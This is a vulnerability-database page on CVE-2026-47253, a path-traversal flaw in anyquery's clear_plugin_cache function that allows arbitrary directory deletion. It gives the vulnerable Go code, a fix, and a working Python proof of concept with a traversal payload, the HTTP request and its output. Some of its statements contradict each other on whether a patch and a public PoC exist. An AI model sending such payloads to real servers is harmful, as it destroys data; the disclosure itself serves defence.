Skip to main content

Anyquery EUVDEUVD-2026-77807

| CVE-2026-47253 HIGH
Path Traversal (CWE-22)
2026-06-10 https://github.com/julien040/anyquery GHSA-j9rx-rppg-6hh4
7.3
CVSS 3.1 · Vendor: https://github.com/julien040/anyquery
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privileged bearer token
  2. Delivery
    Reach /execute-query HTTP endpoint
  3. Exploit
    Submit SQL with traversal payload in clear_plugin_cache
  4. Execution
    path.Join resolves '..' outside cache root
  5. Persist
    os.RemoveAll deletes arbitrary directory
  6. Impact
    Targeted data loss and denial of service

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must reach the anyquery HTTP API (default 127.0.0.1:8070 in the PoC, but commonly bound to a network interface in shared deployments) and possess a valid bearer token with permission to call the /execute-query or /v1/query endpoint - PR:L in the CVSS vector indicates low-privilege authentication is required, not unauthenticated access. The vulnerable clear_plugin_cache SQL scalar function must be reachable through the SQL surface, which it is by default in 0.4.4 and earlier. Limiting factors that reduce real-world risk: anyquery is frequently deployed as a single-user local tool where the bearer token is not shared, deletion is bounded by the OS-level file permissions of the anyquery process (so a non-root deployment cannot delete root-owned directories), and the function returns no contents so there is no confidentiality leak. The CVSS UI:R flag suggests user interaction is required, but the published PoC demonstrates fully scripted exploitation once a token is held, so the UI:R rating should be treated with caution rather than relied on as a mitigating factor.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H scores 7.3 (High), reflecting network reachability, low complexity, and high integrity and availability impact with no confidentiality loss - consistent with arbitrary directory deletion. The PR:L component confirms authentication is required (a bearer token), and UI:R is unusual given the PoC shows fully scripted exploitation with no victim interaction; this UI:R rating appears conservative or possibly miscoded relative to the demonstrated attack, and defenders should treat the realistic attack as non-interactive once a token is held. A working PoC is published in the GHSA, so publicly available exploit code exists, but the CVE is not listed in CISA KEV and no EPSS score was provided in the input. Overall priority is high for any anyquery deployment exposing the HTTP API to multi-tenant or low-trust users, and moderate for single-user local installations where the bearer token is not shared.

Exploit ScenarioDerived

An attacker who has obtained or been granted a low-privileged bearer token - for example a developer on a shared anyquery instance or a compromised LLM agent that holds an API credential - sends POST /execute-query (or /v1/query) with the body {"query": "SELECT clear_plugin_cache('../../../../tmp/target')"}, causing the server to delete /tmp/target. By iterating across well-known paths (config directories, application data, the user's home), the attacker destroys configuration and state, producing a persistent denial of service and irreversible data loss; the published PoC against a Dockerised build deletes /tmp/poc_sentinel outside /root/.cache/anyquery/plugins/ and returns HTTP 200, confirming low-complexity, scripted exploitation.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 10, 2026

Arbitrary directory deletion in julien040/anyquery 0.4.4 and earlier allows an authenticated low-privileged bearer-token holder to delete any directory accessible to the server process by submitting a SQL query that invokes clear_plugin_cache with a path-traversal payload. The flaw stems from path.Join silently resolving '..' segments before os.RemoveAll, and publicly available exploit code exists in the GitHub Security Advisory GHSA-j9rx-rppg-6hh4. Verified impact includes irreversible deletion of files outside the intended $XDG_CACHE_HOME/anyquery/plugins/ cache root, producing data loss and denial of service.

RemediationAI

Upgrade to anyquery 0.4.5, the vendor-released patch that adds server sandboxing to remediate both CVE-2026-47253 and CVE-2026-50006 per the release notes at https://github.com/julien040/anyquery/releases/tag/0.4.5. If immediate upgrade is not possible, restrict network reachability of the HTTP query endpoint (default port 8070) to trusted hosts only, revoke or rotate bearer tokens shared with untrusted users, and run the anyquery process under a dedicated unprivileged account whose only writable paths are the cache directory itself to bound the blast radius of any RemoveAll call; the trade-off is loss of multi-user API access and potential loss of legitimate write functionality outside the cache. The upstream fix (commit 27f84fc168310455eaf81ec4ba87eed20298670c) introduces sandboxing rather than the prefix-check approach the reporter suggested, so downstream forks applying their own patch should canonicalise the resolved path with filepath.Rel against the cache root and reject any result beginning with '..' before calling os.RemoveAll, and additionally reject plugin values containing '/', '\', or a leading '.' at the API boundary.

Affected VersionsENISA

anyquery < 0.4.5

Affected Packages

go github.com/julien040/anyquery fix: 0.4.5
euvd anyquery fix: 0.4.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Anyquery (pkg:go/github.com_julien040_anyquery) is a Go-based SQLite-fronted query engine that exposes an HTTP API for executing SQL against heterogeneous data sources. The vulnerability lives in the SQL scalar function clear_plugin_cache(plugin) defined in namespace/other_functions.go, which concatenates the caller-supplied plugin argument into the cache directory using pathlib.Join and then calls os.RemoveAll on the result. The only guard is an empty-string check; because Go's path.Join cleans but does not constrain '..' segments, the resolved path can escape the intended cache root. This is a textbook CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) issue, where attacker-controlled input flows through HTTP body → executeQueryLLM (controller/llm.go) → SQLite function dispatch → filesystem deletion without canonicalisation against an allow-list root.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/julien040/anyquery) PRIMARY 7.3 HIGH
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H
SUSE HIGH

Primary rating from Vendor (https://github.com/julien040/anyquery).

CVSS VectorVendor: https://github.com/julien040/anyquery

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

DescriptionCVE.org

Path Traversal in clear_plugin_cache Allows Arbitrary Directory Deletion

FieldValue
Repositoryjulien040/anyquery
Affected version0.4.4
VulnerabilityCWE-22 - Improper Limitation of a Pathname to a Restricted Directory
SeverityHigh

Summary

The SQL scalar function clear_plugin_cache(plugin) in namespace/other_functions.go passes the caller-supplied plugin argument directly to path.Join and then to os.RemoveAll, with only an empty-string check as a guard. Because path.Join silently resolves .. segments, a low-privileged bearer-token holder can submit SELECT clear_plugin_cache('../../../../tmp/target') to the /v1/query HTTP endpoint and delete any directory reachable by the server process. In the verified scenario, a directory outside $XDG_CACHE_HOME/anyquery/plugins/ was successfully deleted, confirming full path-traversal exploitation.

Affected Code

namespace/other_functions.go:46 - pathlib.Join resolves .. segments in attacker-controlled plugin, producing a path outside the cache root

namespace/other_functions.go:53 - os.RemoveAll unconditionally deletes the traversed path

go
func clear_plugin_cache(plugin string) string {
	pathToRemove := pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin)

	if plugin == "" {
		return "The plugin name is empty"
	}

	// Remove the directory
	err := os.RemoveAll(pathToRemove)
	if err != nil {
		return err.Error()
	}

	return ""
}

HTTP JSON body.Query → executeQueryLLM (controller/llm.go:420-426) → shell.Run → SQLite clear_plugin_cache(plugin) → pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin) at other_functions.go:46 → os.RemoveAll at other_functions.go:53

Proof of Concept

Prerequisites:

  • Docker installed
  • Python 3 with requests package (pip install requests)

Step 1 - Build and start the vulnerable service:

bash
docker build -f Dockerfile -t anyquery-vuln002 .
docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002

Step 2 - Run the PoC script (separate terminal):

bash
python3 poc.py

poc.py:

python
#!/usr/bin/env python3
"""PoC reproduction script - julien040/anyquery / VULN-002

Prerequisites:
    - Docker image built: docker build -f Dockerfile -t anyquery-vuln002 .
    - Container running:  docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002
    - Python packages: requests (stdlib subprocess also used)

How to run (from this report directory, after Dockerfile service is up):
    python3 poc.py

Expected on success:
    Final stdout line begins with `RESULT: PASS` confirming that the sentinel
    directory outside the cache root was deleted via clear_plugin_cache path traversal.
"""

import subprocess
import sys
import json
import requests

BASE_URL = "http://127.0.0.1:8070"
CONTAINER = "anyquery-vuln002"
# Traversal payload: XDG_CACHE_HOME=/root/.cache, so
# path.Join("/root/.cache","anyquery","plugins","../../../../tmp/poc_sentinel")
# resolves to /tmp/poc_sentinel (4 levels up escapes the cache root).
TRAVERSAL_PLUGIN = "../../../../tmp/poc_sentinel"
SENTINEL_PATH = "/tmp/poc_sentinel"
QUERY = f"SELECT clear_plugin_cache('{TRAVERSAL_PLUGIN}')"


def docker_exec(cmd):
    result = subprocess.run(
        ["docker", "exec", CONTAINER] + cmd,
        capture_output=True, text=True
    )
    return result.returncode, result.stdout, result.stderr


def sentinel_exists():
    rc, _, _ = docker_exec(["test", "-d", SENTINEL_PATH])
    return rc == 0
# Step 1: create sentinel inside container
print(f"[1] Creating sentinel directory {SENTINEL_PATH} inside container...")
rc, out, err = docker_exec(["mkdir", "-p", SENTINEL_PATH])
if rc != 0:
    sys.exit(f"RESULT: FAIL - could not create sentinel: {err}")
if not sentinel_exists():
    sys.exit("RESULT: FAIL - sentinel not present after mkdir")
print(f"    Sentinel created: {SENTINEL_PATH}")
# Step 2: confirm server is reachable
print("[2] Confirming server is reachable...")
try:
    r = requests.get(f"{BASE_URL}/list-tables", timeout=5)
    assert r.status_code == 200, f"unexpected status {r.status_code}"
    print(f"    GET /list-tables → HTTP {r.status_code} OK")
except Exception as e:
    sys.exit(f"RESULT: FAIL - server not reachable: {e}")
# Step 3: send traversal request
print("[3] Sending path-traversal payload via POST /execute-query...")
payload = {"query": QUERY}
r = requests.post(
    f"{BASE_URL}/execute-query",
    headers={"Content-Type": "application/json"},
    data=json.dumps(payload),
    timeout=10,
)
print(f"    HTTP {r.status_code}")
print(f"    Body: {r.text.strip()}")

if r.status_code != 200:
    sys.exit(f"RESULT: FAIL - unexpected HTTP status {r.status_code}")
# Step 4: verify sentinel is gone
print("[4] Checking whether sentinel was deleted inside container...")
if sentinel_exists():
    print(f"    Sentinel still present - traversal did not delete it.")
    print(f"RESULT: FAIL - {SENTINEL_PATH} still exists after traversal request")
else:
    print(f"    Sentinel GONE - {SENTINEL_PATH} deleted outside cache root.")
    print(f"RESULT: PASS - clear_plugin_cache('{TRAVERSAL_PLUGIN}') deleted {SENTINEL_PATH} (outside /root/.cache/anyquery/plugins/)")

HTTP request:

http
POST /execute-query HTTP/1.1
Host: 127.0.0.1:8070
Content-Type: application/json

{"query": "SELECT clear_plugin_cache('../../../../tmp/poc_sentinel')"}

Output:

text
[1] Creating sentinel directory /tmp/poc_sentinel inside container...
    Sentinel created: /tmp/poc_sentinel
[2] Confirming server is reachable...
    GET /list-tables → HTTP 200 OK
[3] Sending path-traversal payload via POST /execute-query...
    HTTP 200
    Body: +----------------------------------------------------+
| clear_plugin_cache('../../../../tmp/poc_sentinel') |
+----------------------------------------------------+
|                                                    |
+----------------------------------------------------+
1 results
[4] Checking whether sentinel was deleted inside container...
    Sentinel GONE - /tmp/poc_sentinel deleted outside cache root.
RESULT: PASS - clear_plugin_cache('../../../../tmp/poc_sentinel') deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/)

Impact

An authenticated low-privileged API user can delete any directory accessible to the anyquery server process by supplying a ..-traversing plugin name to clear_plugin_cache. Verified impact is permanent deletion of arbitrary directories outside the intended plugin cache boundary ($XDG_CACHE_HOME/anyquery/plugins/). In a realistic deployment, an attacker could target configuration directories, application data, or the user's home directory, causing irreversible data loss and denial of service. There is no confidentiality impact as the function only deletes and does not read data.

Remediation

In namespace/other_functions.go, resolve the full path and confirm it shares the expected cache-root prefix before calling os.RemoveAll:

go
func clear_plugin_cache(plugin string) string {
    if plugin == "" {
        return "The plugin name is empty"
    }
    cacheRoot := pathlib.Join(xdg.CacheHome, "anyquery", "plugins")
    pathToRemove := pathlib.Join(cacheRoot, plugin)
    rel, err := filepath.Rel(cacheRoot, pathToRemove)
    if err != nil || strings.HasPrefix(rel, "..") || rel == ".." {
        return "Invalid plugin name"
    }
    if err := os.RemoveAll(pathToRemove); err != nil {
        return err.Error()
    }
    return ""
}

As a defence-in-depth measure, also reject plugin values containing /, \, or a leading . at the input level before the path.Join call, so traversal sequences are blocked at the earliest opportunity.

Executive ViewAI

Why It Matters

anyquery 0.4.4 and earlier are vulnerable to file deletion attacks by authenticated token holders, allowing destruction of arbitrary server files and resulting in irreversible data loss and service outages. Publicly available exploit code exists and no vendor patch is available, demanding immediate action to prevent data destruction and operational impact.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Limit bearer token issuance and access to essential users; (2) run anyquery with read-only filesystem permissions except for designated cache directories; (3) implement immutable backups with defined retention period; (4) enable comprehensive audit logging of all SQL operations; (5) restrict or disable the clear_plugin_cache function or require path validation to reject parent-directory access; (6) network-segment anyquery from critical data systems.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy